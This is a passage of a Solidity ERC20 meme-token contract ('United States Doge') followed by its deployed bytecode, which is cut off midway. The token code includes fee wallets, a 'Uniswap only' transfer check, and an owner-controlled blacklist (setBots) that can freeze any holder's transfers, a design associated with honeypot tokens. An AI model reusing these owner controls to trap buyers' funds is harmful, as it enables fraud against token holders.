"ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 1 * 10**12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b005b34801561034957600080fd5b50610352610ab8565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610ac1565b005b3480156103b457600080fd5b506103bd610ba6565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c18565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d03565b005b34801561044757600080fd5b50610450610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eef565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f46565b005b3480156106de57600080fd5b506106e7611096565b005b3480156106f557600080fd5b506106fe611110565b005b34801561070c57600080fd5b5061071561178e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c7565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611976565b6040518082815260200191505060405180910390f35b60606040518060400160405280601281526020017f556e697465642053746174657320446f67650000000000000000000000000000815250905090565b60006108a161089a6119fd565b8484611a05565b6001905092915050565b6000683635c9adc5dea00000905090565b60006108c9848484611bfc565b61098a846108d56119fd565b61098585604051806060016040528060288152602001613ee960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245b9092919063ffffffff16565b611a05565b600190509392505050565b61099d6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610ac96119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be76119fd565b73ffffffffffffffffffffffffffffffffffffffff1614610c0757600080fd5b6000479050610c158161251b565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfe565b610cfb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612616565b90505b919050565b610d0b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601481526020017f5553444f474520f09f92b520f09f87baf09f87b8000000000000000000000000815250905090565b6000610f03610efc6119fd565b8484611bfc565b6001905092915050565b6040518060400160405280601481526020017f5553444f474520f09f92b520f09f87baf09f87b800000000000000000000000081525081565b610f4e6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110925760016007600084848151811061102c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611011565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d76119fd565b73ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b600061110230610c18565b905061110d8161269a565b50565b6111186119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112eb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a05565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ce57600080fd5b505afa1580156113e2573d6000803e3d6000fd5b505050506040513d60208110156113f857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153630610c18565b600080611541610e89565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c657600080fd5b505af11580156115da573d6000803e3d6000fd5b50505050506040513d60608110156115f157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174f57600080fd5b505af1158015611763573d6000803e3d6000fd5b505050506040513d602081101561177957600080fd5b81019080805190602001909291905050505050565b6040518060400160405280601281526020017f556e697465642053746174657320446f6765000000000000000000000000000081525081565b6117cf6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611905576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611934606461192683683635c9adc5dea0000061298490919063ffffffff16565b612a0a90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f5f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ea66022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f3a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e596023913960400191505060405180910390fd5b60008111611d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f116029913960400191505060405180910390fd5b611d69610e89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd75750611da7610e89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239857601360179054906101000a900460ff161561203d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f0d5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f536119fd565b73ffffffffffffffffffffffffffffffffffffffff161480611fc95750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb16119fd565b73ffffffffffffffffffffffffffffffffffffffff16145b61203b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461212d5760145481111561207f57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121235750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212c57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d85750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561222e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122465750601360179054906101000a900460ff165b156122de5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229657600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e930610c18565b9050601360159054906101000a900460ff161580156123565750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561236e5750601360169054906101000a900460ff165b156123965761237c8161269a565b60004790506000811115612394576123934761251b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244957600090505b61245584848484612a54565b50505050565b6000838311158290612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cd5780820151818401526020810190506124b2565b50505050905090810190601f1680156124fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256b600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612596573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e7600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612612573d6000803e3d6000fd5b5050565b6000600a54821115612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e7c602a913960400191505060405180910390fd5b600061267d612cab565b90506126928184612a0a90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126cf57600080fd5b506040519080825280602002602001820160405280156126fe5781602001602082028036833780820191505090505b509050308160008151811061270f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b157600080fd5b505afa1580156127c5573d6000803e3d6000fd5b505050506040513d60208110156127db57600080fd5b8101908080519060200190929190505050816001815181106127f957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061286030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a05565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612924578082015181840152602081019050612909565b505050509050019650505050505050600060405180830381600087803b15801561294d57600080fd5b505af1158015612961573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129975760009050612a04565b60008284029050828482816129a857fe5b04146129ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ec86021913960400191505060405180910390fd5b809150505b92915050565b6000612a4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd6565b905092915050565b80612a6257612a61612d9c565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1a57612b15848484612ddf565b612c97565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bbd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bd257612bcd84848461303f565b612c96565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c745750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8957612c8484848461329f565b612c95565b612c94848484613594565b5b5b5b80612ca557612ca461375f565b5b50505050565b6000806000612cb8613773565b91509150612ccf8183612a0a90919063ffffffff16565b9250505090565b60008083118290612d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d47578082015181840152602081019050612d2c565b50505050905090810190601f168015612d745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8e57fe5b049050809150509392505050565b6000600c54148015612db057506000600d54145b15612dba57612ddd565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612df187613a20565b955095509550955095509550612e4f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ee486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc581613b5a565b612fcf8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061305187613a20565b9550955095509550955095506130af86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314483600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d985600260008b73ffffffffffffffffffffffffff